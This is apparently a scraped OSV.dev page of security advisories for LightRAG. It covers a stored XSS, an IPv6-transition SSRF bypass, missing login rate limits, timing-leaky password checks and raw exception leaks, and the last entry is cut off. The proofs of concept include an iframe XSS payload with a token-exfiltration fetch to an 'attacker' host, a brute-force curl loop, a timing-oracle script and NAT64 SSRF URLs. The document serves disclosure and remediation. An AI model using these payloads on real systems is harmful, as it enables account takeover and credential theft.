          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

Jun 03, 2026

1.5.0rc3 pre

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

